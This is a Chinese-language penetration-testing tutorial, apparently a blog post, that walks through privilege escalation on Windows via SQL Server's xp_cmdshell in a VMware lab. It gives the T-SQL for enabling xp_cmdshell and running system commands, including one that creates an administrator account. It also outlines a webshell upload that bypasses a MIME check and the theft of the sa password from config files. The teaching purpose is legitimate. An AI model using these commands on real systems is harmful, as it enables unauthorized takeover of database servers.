当前位置:网站首页>110.网络安全渗透测试—[权限提升篇8]—[Windows SqlServer xp_cmdshell存储过程提权]
110.网络安全渗透测试—[权限提升篇8]—[Windows SqlServer xp_cmdshell存储过程提权]
2022-07-07 09:58:00 【qwsn】
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
文章目录
一、Windows Sqlserver xp_cmdshell存储过程提权
1、XP_CMDSHELL提权背景:
如果网站里面使用的数据库是sqlserver 那么如果找到sa的密码,可以开启xp_cmdshell存储过程,以sqlserver的身份执行系统命令。但是不一定是系统权限,还要看管理员在一开始安装sqlserver的权限设置。
2、XP_CMDSHELL相关概念:
(1)xp_cmdshell存储过程【存储过程是:已预编译为一个可执行过程的一个或多个SQL语句的集合】,它是用来执行本机的cmd命令的,要求系统登陆有sa权限。默认情况下,sql server2005/2008在安装后,xp_cmdshell存储过程是禁用的,如果要使用它,可以按照以下语句开启:
Exec sp_configure ‘show advanced options’,1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’,1;RECONFIGURE;`
序号 | 命令 | 注释 |
---|---|---|
1 | Exec sp_configure ‘show advanced options’,1; | #允许配置高级选项 |
2 | RECONFIGURE; | #重新配置 |
3 | EXEC sp_configure ‘xp_cmdshell’,1; | #启用xp_cmdshell存储过程 |
4 | RECONFIGURE; | #重新配置 |
(2)执行系统命令格式:
序号 | 命令 | 注释 |
---|---|---|
1 | Exec master.dbo.xp_cmdshell ‘whoami’ | #查看当前用户 |
2 | Exec master.dbo.xp_cmdshell ‘net user’ | #查看所有用户 |
3 | Exec master.dbo.xp_cmdshell ‘systeminfo’ | #查看OS信息 |
4 | Exec master.dbo.xp_cmdshell ‘net user test 123 /add & net localgroup administrators test /add’ | #添加管理员组用户 |
(3)使用完了要及时禁用:Exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE;
序号 | 命令 | 注释 |
---|---|---|
1 | Exec sp_configure ‘show advanced options’,1; | #允许配置高级选项 |
2 | RECONFIGURE; | #重新配置 |
3 | EXEC sp_configure ‘xp_cmdshell’,0; | #禁用xp_cmdshell存储过程 |
4 | RECONFIGURE; | #重新配置 |
3、XP_CMDSHELL提权实战:
(1)实验环境:
1.靶机环境:
(1)虚拟机Windows2008【target_sys.com】【192.168.97.131】
(2)脚本语言环境:php/asp语言环境存在
2.攻击机:
(1)虚拟机Win7【192.168.97.130】
(2)Firefox+Burpsuite+蚁剑+大马
3.网络环境:
(1)VMware搭建的NAT网络
(3)靶机链接:
URL:http://target_sys.com/upload.php
(3)实验过程:
第一步:访问靶机链接,利用MIME突破白名单类型限制,上传up.aspx大马
【以上过程略】以下进行提权过程:
第二步:连接up.aspx大马【密码为admin】,并且点击[File Manager]文件管理模块,进行查找sqlserver的帐号和密码
连接大马:
sqlserver的连接数据一般的存储位置:web.config、config.asp、conn.aspx、database.aspx,不过该环境下的实在旁站(www.demo1.com)下的index.aspx内存储了as用户密码:123456
第三步:点击[DataBase]数据库模块,使用刚刚得到的sa账号连接mssql,同时发现SQL SERVER版本为2008
xp_cmdshell存储过程是用来执行本机的cmd命令的,要求系统登陆有sa权限
第四步:SQLExec下拉框中选择Add xp_cmdshell(SQL2005)这个选项,开启xp_cmdshell存储过程
第五步:利用刚刚启用的xp_cmdshell存储过程,以sqlserver的身份去执行一些系统命令
由于查看当前权限也是一个普通用户,所以只可以执行一些基础的命令,也可以上传溢出提权工具 再来提高当前用户的权限。
边栏推荐
- Use references
- 【纹理特征提取】基于matlab局部二值模式LBP图像纹理特征提取【含Matlab源码 1931期】
- R language uses the quantile function to calculate the quantile of the score value (20%, 40%, 60%, 80%), uses the logical operator to encode the corresponding quantile interval (quantile) into the cla
- 聊聊SOC启动(十一) 内核初始化
- [shortest circuit] acwing 1127 Sweet butter (heap optimized dijsktra or SPFA)
- QT implements the delete method of the container
- SwiftUI Swift 内功之 Swift 中使用不透明类型的 5 个技巧
- Enclosed please find. Net Maui's latest learning resources
- Rationaldmis2022 advanced programming macro program
- 聊聊SOC启动(七) uboot启动流程三
猜你喜欢
Learning notes | data Xiaobai uses dataease to make a large data screen
竟然有一半的人不知道 for 与 foreach 的区别???
Flet教程之 18 Divider 分隔符组件 基础入门(教程含源码)
分布式数据库主从配置(MySQL)
Onedns helps college industry network security
[filter tracking] strapdown inertial navigation simulation based on MATLAB [including Matlab source code 1935]
How to add aplayer music player in blog
Apprentissage comparatif non supervisé des caractéristiques visuelles par les assignations de groupes de contrôle
Automated testing framework
.NET MAUI 性能提升
随机推荐
Onedns helps college industry network security
Summed up 200 Classic machine learning interview questions (with reference answers)
Some opinions and code implementation of Siou loss: more powerful learning for bounding box regression zhora gevorgyan
How to write test cases for test coupons?
Flet教程之 16 Tabs 选项卡控件 基础入门(教程含源码)
[system design] index monitoring and alarm system
Half of the people don't know the difference between for and foreach???
【系统设计】指标监控和告警系统
本地navicat连接liunx下的oracle报权限不足
How much do you know about excel formula?
. Net Maui performance improvement
R Language Using Image of magick package Mosaic Function and Image La fonction flatten empile plusieurs images ensemble pour former des couches empilées sur chaque autre
Flet教程之 19 VerticalDivider 分隔符组件 基础入门(教程含源码)
Steps of redis installation and self startup configuration under CentOS system
STM32 entry development NEC infrared protocol decoding (ultra low cost wireless transmission scheme)
正在运行的Kubernetes集群想要调整Pod的网段地址
核舟记(一):当“男妈妈”走进现实,生物科技革命能解放女性吗?
Suggestions on one-stop development of testing life
Talk about SOC startup (x) kernel startup pilot knowledge
.NET MAUI 性能提升